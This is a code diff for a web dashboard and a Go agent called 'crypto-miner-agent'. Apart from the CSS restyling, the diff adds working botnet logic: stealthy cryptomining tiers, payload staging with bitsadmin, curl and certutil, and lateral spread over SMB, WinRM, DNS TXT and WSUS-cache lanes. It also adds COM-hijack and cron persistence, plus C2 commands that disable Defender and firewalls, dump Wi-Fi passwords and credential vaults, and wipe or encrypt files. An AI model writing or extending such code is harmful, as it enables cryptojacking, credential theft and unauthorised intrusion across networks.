border: 1px solid rgba(0, 232, 245, 0.14);
|
||||
border-radius: 10px;
|
||||
padding: 1rem;
|
||||
display: flex;
|
||||
@@ -150,7 +150,7 @@
|
||||
font-size: 0.65rem;
|
||||
letter-spacing: 0.12em;
|
||||
text-transform: uppercase;
|
||||
color: #00ffaa88;
|
||||
color: rgba(0, 232, 245, 0.53);
|
||||
font-family: var(--font-tech, monospace);
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
@@ -179,14 +179,14 @@
|
||||
width: 22px;
|
||||
height: 22px;
|
||||
border-radius: 50%;
|
||||
background: #00ffaa22;
|
||||
border: 1px solid #00ffaa55;
|
||||
background: rgba(0, 232, 245, 0.13);
|
||||
border: 1px solid rgba(0, 232, 245, 0.33);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 0.6rem;
|
||||
font-family: var(--font-tech, monospace);
|
||||
color: #00ffaa;
|
||||
color: #00e8f5;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
@@ -201,7 +201,7 @@
|
||||
|
||||
.pt-chain-arrow {
|
||||
font-size: 0.65rem;
|
||||
color: #00ffaa55;
|
||||
color: rgba(0, 232, 245, 0.33);
|
||||
padding-left: 10px;
|
||||
}
|
||||
|
||||
@@ -217,7 +217,7 @@
|
||||
margin-left: auto;
|
||||
}
|
||||
.pt-hop-status.pending { background: rgba(255,200,0,0.15); color: #ffc800; border: 1px solid #ffc80033; }
|
||||
.pt-hop-status.ready { background: rgba(0,255,170,0.15); color: #00ffaa; border: 1px solid #00ffaa33; }
|
||||
.pt-hop-status.ready { background: rgba(0, 232, 245, 0.15); color: #00e8f5; border: 1px solid rgba(0, 232, 245, 0.2); }
|
||||
.pt-hop-status.failed { background: rgba(255,80,80,0.15); color: #ff5050; border: 1px solid #ff505033; }
|
||||
|
||||
/* ── Action buttons ──────────────────────────────────────────── */
|
||||
@@ -236,14 +236,14 @@
|
||||
}
|
||||
|
||||
.pt-btn-primary {
|
||||
background: linear-gradient(135deg, #00ffaa22, #00ffaa11);
|
||||
border-color: #00ffaa;
|
||||
color: #00ffaa;
|
||||
text-shadow: 0 0 8px #00ffaa;
|
||||
background: linear-gradient(135deg, rgba(0, 232, 245, 0.13), rgba(0, 232, 245, 0.07));
|
||||
border-color: #00e8f5;
|
||||
color: #00e8f5;
|
||||
text-shadow: 0 0 8px #00e8f5;
|
||||
}
|
||||
.pt-btn-primary:hover:not(:disabled) {
|
||||
background: linear-gradient(135deg, #00ffaa44, #00ffaa22);
|
||||
box-shadow: 0 0 14px #00ffaa44;
|
||||
background: linear-gradient(135deg, rgba(0, 232, 245, 0.25), rgba(0, 232, 245, 0.13));
|
||||
box-shadow: 0 0 14px rgba(0, 232, 245, 0.27);
|
||||
}
|
||||
.pt-btn-primary:disabled {
|
||||
opacity: 0.35;
|
||||
@@ -312,9 +312,9 @@
|
||||
|
||||
.pt-modal {
|
||||
background: #0e1117;
|
||||
border: 1px solid #00ffaa44;
|
||||
border: 1px solid rgba(0, 232, 245, 0.27);
|
||||
border-radius: 14px;
|
||||
box-shadow: 0 0 60px #00ffaa22;
|
||||
box-shadow: 0 0 60px rgba(0, 232, 245, 0.13);
|
||||
padding: 2rem;
|
||||
max-width: 520px;
|
||||
width: 100%;
|
||||
@@ -334,9 +334,9 @@
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.12em;
|
||||
text-transform: uppercase;
|
||||
color: #00ffaa;
|
||||
color: #00e8f5;
|
||||
font-family: var(--font-tech, monospace);
|
||||
text-shadow: 0 0 12px #00ffaa66;
|
||||
text-shadow: 0 0 12px rgba(0, 232, 245, 0.4);
|
||||
}
|
||||
|
||||
.pt-qr-wrap {
|
||||
@@ -345,7 +345,7 @@
|
||||
padding: 0.5rem;
|
||||
background: #000;
|
||||
border-radius: 10px;
|
||||
border: 1px solid #00ffaa33;
|
||||
border: 1px solid rgba(0, 232, 245, 0.2);
|
||||
}
|
||||
|
||||
.pt-qr-img {
|
||||
@@ -387,7 +387,7 @@
|
||||
font-size: 0.62rem;
|
||||
letter-spacing: 0.14em;
|
||||
text-transform: uppercase;
|
||||
color: #00ffaa55;
|
||||
color: rgba(0, 232, 245, 0.33);
|
||||
font-family: var(--font-tech, monospace);
|
||||
margin-bottom: 0.4rem;
|
||||
}
|
||||
@@ -405,8 +405,8 @@
|
||||
display: inline-block;
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
border: 2px solid #00ffaa33;
|
||||
border-top-color: #00ffaa;
|
||||
border: 2px solid rgba(0, 232, 245, 0.2);
|
||||
border-top-color: #00e8f5;
|
||||
border-radius: 50%;
|
||||
animation: pt-spin 0.6s linear infinite;
|
||||
vertical-align: middle;
|
||||
|
||||
@@ -246,10 +246,10 @@ export default function PathTracerPage() {
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">NETWORK OPS · WIREGUARD</p>
|
||||
<h1 className="pt-title">⬡ Path Tracer <HelpTip field="pt_path_tracer" /></h1>
|
||||
<div className="pt-subtitle">
|
||||
<h1>⬡ Path Tracer <HelpTip field="pt_path_tracer" /></h1>
|
||||
<p className="page-subtitle">
|
||||
Build an on-demand multi-hop WireGuard VPN — select up to 3 agents, click TRACE.
|
||||
</div>
|
||||
</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
|
||||
@@ -34,7 +34,6 @@ import {
|
||||
buildDefenderExclusionScript,
|
||||
defaultWindowsInstallPreview,
|
||||
} from '../help/defenderExclusion';
|
||||
import './Pages.css';
|
||||
|
||||
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
|
||||
export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
|
||||
|
||||
@@ -127,38 +127,6 @@
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.page-header--sacred {
|
||||
position: relative;
|
||||
padding-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.page-header--sacred::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
left: 0;
|
||||
right: 0;
|
||||
bottom: 0;
|
||||
height: 1px;
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
transparent,
|
||||
rgba(201, 162, 39, 0.5) 15%,
|
||||
rgba(0, 245, 255, 0.35) 50%,
|
||||
rgba(201, 162, 39, 0.5) 85%,
|
||||
transparent
|
||||
);
|
||||
}
|
||||
|
||||
.page-header--sacred .page-header-sacred-motif {
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: 50%;
|
||||
transform: translateY(-50%);
|
||||
width: 48px;
|
||||
height: 48px;
|
||||
opacity: 0.2;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
/* Neon card corner watermarks */
|
||||
.neon-card {
|
||||
|
||||
@@ -17,7 +17,7 @@
|
||||
box-shadow:
|
||||
var(--shadow-panel),
|
||||
inset 0 1px 0 rgba(232, 197, 71, 0.12),
|
||||
0 0 40px rgba(0, 245, 255, 0.04);
|
||||
0 0 40px rgba(0, 232, 245, 0.04);
|
||||
}
|
||||
|
||||
.chart-header {
|
||||
@@ -82,7 +82,7 @@
|
||||
120deg,
|
||||
rgba(201, 162, 39, 0.06) 0%,
|
||||
rgba(8, 6, 4, 0.4) 40%,
|
||||
rgba(0, 245, 255, 0.04) 100%
|
||||
rgba(0, 232, 245, 0.04) 100%
|
||||
);
|
||||
box-shadow: 0 0 48px rgba(201, 162, 39, 0.06);
|
||||
}
|
||||
@@ -144,18 +144,9 @@
|
||||
text-shadow: 0 0 16px rgba(57, 255, 20, 0.4);
|
||||
}
|
||||
|
||||
.earnings-preview-badge {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.6rem;
|
||||
letter-spacing: 0.18em;
|
||||
color: var(--brass-light);
|
||||
opacity: 0.75;
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.contrib-panel.sample-contrib .contrib-fill {
|
||||
background: linear-gradient(90deg, var(--brass-dark), var(--neon-cyan));
|
||||
box-shadow: 0 0 10px rgba(0, 245, 255, 0.25);
|
||||
box-shadow: 0 0 10px rgba(0, 232, 245, 0.25);
|
||||
}
|
||||
|
||||
.activity-pulse.sample-activity .pulse-row.ok .pulse-dot {
|
||||
|
||||
@@ -297,6 +297,15 @@ export interface ServerSettings {
|
||||
public_builds_latest_n?: number;
|
||||
/** Server-side LOTL Onion tier order pushed to agents with lotl_policy_from_server. */
|
||||
lotl_onion_tiers?: string[];
|
||||
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
||||
triple_onion_policy?: {
|
||||
patch_first?: boolean;
|
||||
mine_isolated_tier?: boolean;
|
||||
skip_mining_on_high_risk?: boolean;
|
||||
high_risk_threshold?: number;
|
||||
recon_tiers?: string[];
|
||||
deploy_lanes?: string[];
|
||||
};
|
||||
}
|
||||
|
||||
export interface TunnelDefaults {
|
||||
@@ -492,6 +501,12 @@ export interface BuildRequest {
|
||||
share_spread?: boolean;
|
||||
/** WinRM encoded bootstrap during autospread (Windows, owned/lab). */
|
||||
winrm_spread?: boolean;
|
||||
/** DNS TXT mesh shard staging via _aether zone (Windows/universal default ON). */
|
||||
dns_txt_spread?: boolean;
|
||||
/** WebRTC LAN seed manifest path — heavier; default OFF. */
|
||||
webrtc_mesh_spread?: boolean;
|
||||
/** WSUS SoftwareDistribution cousin staging (default ON for Windows). */
|
||||
wsus_cache_peer_spread?: boolean;
|
||||
/** COM CLSID hijack persistence — high-friction; default off. */
|
||||
com_hijack_persist?: boolean;
|
||||
/** Linux LOTL persistence: systemd_run_user | crontab | both | off */
|
||||
|
||||
@@ -20,6 +20,8 @@ export interface TierAttempt {
|
||||
error?: string;
|
||||
duration_ms?: number;
|
||||
wallet?: string;
|
||||
/** recon | deploy | mining — triple onion phase */
|
||||
phase?: string;
|
||||
}
|
||||
|
||||
/** Full tier run snapshot — mirrors Go TierReport (mining_diagnostics + WS stats). */
|
||||
@@ -68,6 +70,7 @@ export function parseTierAttempts(raw: unknown): TierAttempt[] {
|
||||
error: typeof row.error === 'string' ? row.error : undefined,
|
||||
duration_ms: typeof row.duration_ms === 'number' ? row.duration_ms : undefined,
|
||||
wallet: typeof row.wallet === 'string' ? row.wallet : undefined,
|
||||
phase: typeof row.phase === 'string' ? row.phase : undefined,
|
||||
});
|
||||
}
|
||||
return out;
|
||||
|
||||
@@ -73,7 +73,7 @@ flowchart TB
|
||||
dj[discover_and_join]
|
||||
d1[docker / docker_load]
|
||||
d2[wsl / powershell / dotnet]
|
||||
d3[bits_curl / do_peer / smb / winrm]
|
||||
d3[bits_curl / do_peer / wsus_cache_peer / dns_txt / webrtc_mesh / smb / winrm]
|
||||
d4[linux / gpo / intune]
|
||||
dj --> d1 --> d2 --> d3 --> d4
|
||||
end
|
||||
@@ -146,6 +146,9 @@ Every term below has a plain-language definition and a copy-pasteable example (C
|
||||
|------|------------|---------|
|
||||
| `bits_curl` | Stage payload with BITS (`bitsadmin`) or `curl.exe`; optional `certutil -decode` + SHA256 verify. | `stage_fetch` manifest `{"method":"bits",…}` or CCMEXEC service → `bits_curl` join lane. |
|
||||
| `do_peer` | Shadow Cache Handoff — DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. | `DoSvc` running → `join_lane_candidate: do_peer`; signed deploy plan with `peer_group`, `--defer-mining`. |
|
||||
| `wsus_cache_peer` | WSUS offline cache cousin — stages beside `SoftwareDistribution\Download`; Wuauserv/AU probe; hash verify + defer_mining launch. | `Wuauserv` running → `join_lane: wsus_cache_peer` (allowlist priority after `do_peer`). |
|
||||
| `dns_txt` | DNS TXT mesh — `_aether.<zone>` shards via nslookup/Resolve-DnsName; TTL policy refresh; embedded chunk API for tests. | `_aether` TXT present → `join_lane: dns_txt`; Forge `dns_txt_spread` default ON. |
|
||||
| `webrtc_mesh` | WebRTC LAN seed — subnet seeder, manifest over data channel (STUN + WS relay); LAN HTTP fallback stub in tests. | Forge `webrtc_mesh_spread` default OFF; `webrtc_mesh_policy` 24h seeder rotation. |
|
||||
| `smb` / `spread_smb_unc` | Lateral via SMB admin share + SCM (`sc.exe create/start`) pointing at a UNC worker path — no PsExec. | `{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"}` |
|
||||
| `winrm` | PS remoting lateral when ports 5985/5986 respond. | `POST /api/v1/builder/spread-template-export` `{"template":"winrm"}`; autospread when `winrm_spread` forge flag set. |
|
||||
| `linux` / `linux_lotl` | SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. | `{"template":"linux-lotl","lotl_mode":"both"}`; `sshd` service → `linux_lotl` join lane. |
|
||||
|
||||
@@ -16,10 +16,14 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
if !c.cfg.HolePunch {
|
||||
return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)"
|
||||
}
|
||||
case "spread_now":
|
||||
case "spread_now", "spread_smb_unc", "discover_and_join":
|
||||
if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive {
|
||||
return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)"
|
||||
}
|
||||
case "stage_fetch":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
|
||||
}
|
||||
case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop",
|
||||
"subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords":
|
||||
if !c.cfg.RemoteAggressive {
|
||||
@@ -27,8 +31,8 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
|
||||
}
|
||||
case "tunnel_status", "tunnel_wireguard":
|
||||
// Always available — read-only or Path Tracer config from server.
|
||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status":
|
||||
// No forge gate — always available.
|
||||
case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover":
|
||||
// No forge gate — enumeration-only recon (Path Tracer + fleet discover).
|
||||
case "mesh_status":
|
||||
if !c.cfg.MeshP2P {
|
||||
return false, "mesh P2P not enabled in forge"
|
||||
@@ -90,6 +94,38 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "spread_smb_unc":
|
||||
unc := strings.TrimSpace(path)
|
||||
svcName := ""
|
||||
if unc == "" {
|
||||
unc = strings.TrimSpace(data)
|
||||
} else {
|
||||
svcName = strings.TrimSpace(data)
|
||||
}
|
||||
msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{
|
||||
UNCPath: unc,
|
||||
MaxHosts: parsePortArg(command, 64),
|
||||
SvcName: svcName,
|
||||
})
|
||||
c.sendCommandResult(action, true, msg)
|
||||
return true
|
||||
|
||||
case "stage_fetch":
|
||||
var manifest deploy.StagingManifest
|
||||
if err := json.Unmarshal([]byte(data), &manifest); err != nil {
|
||||
c.sendCommandResult(action, false, "bad staging manifest: "+err.Error())
|
||||
return true
|
||||
}
|
||||
go func() {
|
||||
msg, err := deploy.RunStagingChain(c.cfg, manifest)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
}()
|
||||
return true
|
||||
|
||||
case "subnet_scan":
|
||||
maxHosts := parsePortArg(command, 64)
|
||||
out := deploy.ScanLocalSubnet(maxHosts)
|
||||
@@ -328,6 +364,24 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm
|
||||
case "wg_status":
|
||||
c.sendCommandResult(action, true, WGStatus())
|
||||
return true
|
||||
|
||||
case "service_discover":
|
||||
maxHosts := parsePortArg(command, 32)
|
||||
out := deploy.RunServiceDiscover(maxHosts)
|
||||
c.sendCommandResult(action, true, out)
|
||||
return true
|
||||
|
||||
case "discover_and_join":
|
||||
maxHosts := parsePortArg(command, 32)
|
||||
go func() {
|
||||
msg, err := c.runDiscoverAndJoin(maxHosts)
|
||||
if err != nil {
|
||||
c.sendCommandResult(action, false, err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, msg)
|
||||
}()
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
@@ -23,6 +24,7 @@ import (
|
||||
"crypto-miner-agent/job"
|
||||
"crypto-miner-agent/miner"
|
||||
"crypto-miner-agent/stats"
|
||||
"crypto-miner-agent/vulnprobe"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
@@ -46,6 +48,26 @@ type AgentClient struct {
|
||||
// The Stratum fallback manager monitors this to decide when to mine directly.
|
||||
connected atomic.Bool
|
||||
|
||||
// containerMiner supervises OCI-isolated CPU mining (container / docker_load tiers).
|
||||
containerMiner *miner.ContainerLauncher
|
||||
// wslMiner supervises CPU mining inside WSL2 via wsl.exe -e.
|
||||
wslMiner *miner.WSLLauncher
|
||||
// psMiner hosts in-memory assembly / encoded-command mining via powershell.exe.
|
||||
psMiner *miner.PowerShellLauncher
|
||||
// dotnetMiner compiles and runs a LOTL Stratum stub via dotnet/msbuild.
|
||||
dotnetMiner *miner.DotnetLauncher
|
||||
// hostMiningDisabled is true when a healthy container handles RandomX on the host.
|
||||
hostMiningDisabled atomic.Bool
|
||||
// miningChain orchestrates container → in-process → GPU → Stratum cascade.
|
||||
miningChain *MiningChainRunner
|
||||
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
|
||||
tierPolicy miner.MiningTierPolicy
|
||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||
triplePolicy miner.TripleOnionPolicy
|
||||
triplePolicyLoaded bool
|
||||
// joinLane is the last successful discover_and_join supply-chain lane.
|
||||
joinLane string
|
||||
|
||||
// lastJobAt records when the most recent valid mining job was delivered.
|
||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||
// situations and start direct Stratum mining after a timeout.
|
||||
@@ -55,6 +77,9 @@ type AgentClient struct {
|
||||
// successful WS authentication confirms we are on an owned fleet.
|
||||
spreadOnce sync.Once
|
||||
|
||||
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
|
||||
commandResultHook func(action string, success bool, message string)
|
||||
|
||||
// beaconMode is true while commands/results use HTTPS beacon transport.
|
||||
beaconMode atomic.Bool
|
||||
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
|
||||
@@ -69,6 +94,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
agentID: cfg.AgentID,
|
||||
}
|
||||
c.mesh = NewMeshNode(c)
|
||||
c.initSpreadCredHooks()
|
||||
return c
|
||||
}
|
||||
|
||||
@@ -87,14 +113,15 @@ func (c *AgentClient) Run() error {
|
||||
c.pool.Start()
|
||||
defer c.pool.Stop()
|
||||
|
||||
// Start GPU miner (Ravencoin / KawPoW) if configured
|
||||
if gm := newGPUMiner(c.cfg); gm != nil {
|
||||
c.mu.Lock()
|
||||
c.gpuMiner = gm
|
||||
c.mu.Unlock()
|
||||
gm.Start()
|
||||
defer gm.Stop()
|
||||
chainCtx, chainCancel := context.WithCancel(context.Background())
|
||||
defer chainCancel()
|
||||
c.miningChain = c.newMiningChainRunner()
|
||||
if deploy.WantsDeferMining() {
|
||||
go c.startMiningWhenReady(chainCtx)
|
||||
} else {
|
||||
c.miningChain.Start(chainCtx)
|
||||
}
|
||||
defer c.miningChain.Stop()
|
||||
|
||||
// Start AI Autonomy runner if enabled
|
||||
if c.cfg.AIEnabled {
|
||||
@@ -324,9 +351,12 @@ func (c *AgentClient) authenticate() error {
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
MacAddress: primaryMACAddress(),
|
||||
BuildID: c.cfg.BuildID,
|
||||
USBSpread: c.cfg.USBSpread,
|
||||
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
|
||||
USBSpread: c.cfg.USBSpread,
|
||||
Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
|
||||
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
|
||||
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
|
||||
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
|
||||
JoinLane: c.getJoinLane(),
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -350,7 +380,15 @@ func (c *AgentClient) authenticate() error {
|
||||
if !resp.Success {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.agentID = resp.AgentID
|
||||
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
|
||||
c.mu.Lock()
|
||||
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
|
||||
}
|
||||
c.clearWSDownSince()
|
||||
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
|
||||
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
||||
@@ -360,16 +398,21 @@ func (c *AgentClient) authenticate() error {
|
||||
|
||||
// Gate AutoSpread behind successful server auth: only spread on fleets where
|
||||
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
|
||||
if c.cfg.AutoSpread {
|
||||
c.spreadOnce.Do(func() {
|
||||
deploy.StartAutoSpreader(c.cfg)
|
||||
// One-shot first-run spread (triggered on the very first install).
|
||||
if deploy.WantsFirstRunSpread(c.cfg) {
|
||||
deploy.RunSpreadOnce(c.cfg)
|
||||
deploy.ClearFirstRunSpreadMarker(c.cfg)
|
||||
c.spreadOnce.Do(func() {
|
||||
c.mu.Lock()
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
if cfg.AutoSpread {
|
||||
deploy.StartAutoSpreader(cfg)
|
||||
if deploy.WantsFirstRunSpread(cfg) {
|
||||
deploy.RunSpreadOnce(cfg)
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
if cfg.LotlOnionEnabled {
|
||||
deploy.StartLotlOnion(cfg)
|
||||
}
|
||||
})
|
||||
|
||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||
return nil
|
||||
@@ -465,24 +508,62 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
return
|
||||
}
|
||||
c.sendCommandResult(action, true, "module "+module+" applied")
|
||||
case "start_mining":
|
||||
// WSL sidecar: toggle systemd user unit when that tier is active (see wsl_launcher.go).
|
||||
if c.wslMiner != nil && c.wslMiner.Running() {
|
||||
wslRT := miner.WSLDetector()
|
||||
_ = miner.ToggleWSLMining(wslRT, "", true)
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Resume(context.Background())
|
||||
} else {
|
||||
c.pool.ResumeRemote()
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining started")
|
||||
case "pause":
|
||||
c.pool.PauseRemote()
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Pause()
|
||||
if c.wslMiner != nil && c.wslMiner.Running() {
|
||||
wslRT := miner.WSLDetector()
|
||||
_ = miner.ToggleWSLMining(wslRT, "", false)
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Stop()
|
||||
} else {
|
||||
c.pool.PauseRemote()
|
||||
if c.containerMiner != nil && c.containerMiner.Running() {
|
||||
c.containerMiner.Stop()
|
||||
}
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Pause()
|
||||
}
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining paused")
|
||||
case "resume":
|
||||
c.pool.ResumeRemote()
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Resume()
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Resume(context.Background())
|
||||
} else {
|
||||
if c.containerMiner != nil && !c.containerMiner.Running() {
|
||||
if err := c.containerMiner.Start(); err != nil {
|
||||
log.Printf("[container] resume restart failed: %v — using in-process mining", err)
|
||||
c.hostMiningDisabled.Store(false)
|
||||
c.pool.ResumeRemote()
|
||||
} else {
|
||||
c.hostMiningDisabled.Store(true)
|
||||
c.pool.PauseRemote()
|
||||
}
|
||||
} else if !c.hostMiningDisabled.Load() {
|
||||
c.pool.ResumeRemote()
|
||||
}
|
||||
c.mu.Lock()
|
||||
gm := c.gpuMiner
|
||||
c.mu.Unlock()
|
||||
if gm != nil {
|
||||
gm.Resume()
|
||||
}
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining resumed")
|
||||
c.sendCommandResult(action, true, "fleet health: hashing restored")
|
||||
case "restart":
|
||||
c.sendCommandResult(action, true, "restarting")
|
||||
go c.restartSelf()
|
||||
@@ -515,6 +596,8 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
c.sendCommandResult(action, true, "system shutdown initiated")
|
||||
}
|
||||
}()
|
||||
case "mining_diagnostics":
|
||||
c.sendCommandResult(action, true, c.miningDiagnosticsJSON())
|
||||
case "get_log":
|
||||
if tailLines <= 0 {
|
||||
tailLines = 300
|
||||
@@ -640,6 +723,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
}
|
||||
|
||||
func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
|
||||
if c.commandResultHook != nil {
|
||||
c.commandResultHook(action, success, message)
|
||||
return
|
||||
}
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"action": action,
|
||||
"success": success,
|
||||
@@ -649,7 +736,11 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str
|
||||
c.postBeaconResult(payload)
|
||||
return
|
||||
}
|
||||
_ = c.write(Message{Type: "command_result", Payload: payload})
|
||||
// If the WebSocket write fails (stalled connection, reconnecting, etc.) fall
|
||||
// back to the beacon HTTP path so the result is not silently dropped.
|
||||
if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
|
||||
c.postBeaconResult(payload)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) wsDownSinceTime() time.Time {
|
||||
@@ -837,6 +928,16 @@ func probeSSH() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentClient) stratumEgress(stratumOverlay bool) string {
|
||||
if stratumOverlay {
|
||||
return "direct"
|
||||
}
|
||||
if c.connected.Load() {
|
||||
return "c2_ws"
|
||||
}
|
||||
return "none"
|
||||
}
|
||||
|
||||
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
ticker := time.NewTicker(10 * time.Second)
|
||||
defer ticker.Stop()
|
||||
@@ -848,6 +949,8 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
var lastPressure *ResourcePressure
|
||||
var lastDNS *DNSConfig
|
||||
var lastListenPortCount *int
|
||||
var lastNetworkHints *deploy.NetworkHints
|
||||
var lastVulnReport *vulnprobe.ScanReport
|
||||
var postureReady bool
|
||||
for {
|
||||
select {
|
||||
@@ -904,6 +1007,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
n := lp.Count
|
||||
lastListenPortCount = &n
|
||||
}
|
||||
hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
|
||||
lastNetworkHints = &hints
|
||||
lastVulnReport = RunVulnLOTLProbe()
|
||||
}
|
||||
probeTick++
|
||||
|
||||
@@ -923,6 +1029,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.DNSSearchDomains = lastDNS.SearchDomains
|
||||
}
|
||||
stats.ListenPortCount = lastListenPortCount
|
||||
stats.NetworkHints = lastNetworkHints
|
||||
if lastPressure != nil {
|
||||
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
|
||||
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
|
||||
@@ -968,6 +1075,69 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.AgentElevated = lastPosture.AgentElevated
|
||||
stats.Services = lastPosture.Services
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
ms := c.miningChain.Status()
|
||||
stats.ActiveMethod = string(ms.ActiveMethod)
|
||||
stats.StratumOverlay = ms.StratumOverlay
|
||||
stats.ChainExhausted = ms.ChainExhausted
|
||||
stats.MiningLastError = ms.LastError
|
||||
if ms.LOTLTier != "" {
|
||||
stats.LOTLTier = string(ms.LOTLTier)
|
||||
}
|
||||
if len(ms.LOTLAttempts) > 0 {
|
||||
stats.LOTLAttempts = make([]TierAttemptPayload, len(ms.LOTLAttempts))
|
||||
for i, a := range ms.LOTLAttempts {
|
||||
stats.LOTLAttempts[i] = TierAttemptPayload{
|
||||
Phase: a.Phase,
|
||||
Tier: string(a.Tier),
|
||||
OK: a.OK,
|
||||
Error: a.Error,
|
||||
DurationMs: a.DurationMs,
|
||||
Wallet: a.Wallet,
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(ms.FailedMethods) > 0 {
|
||||
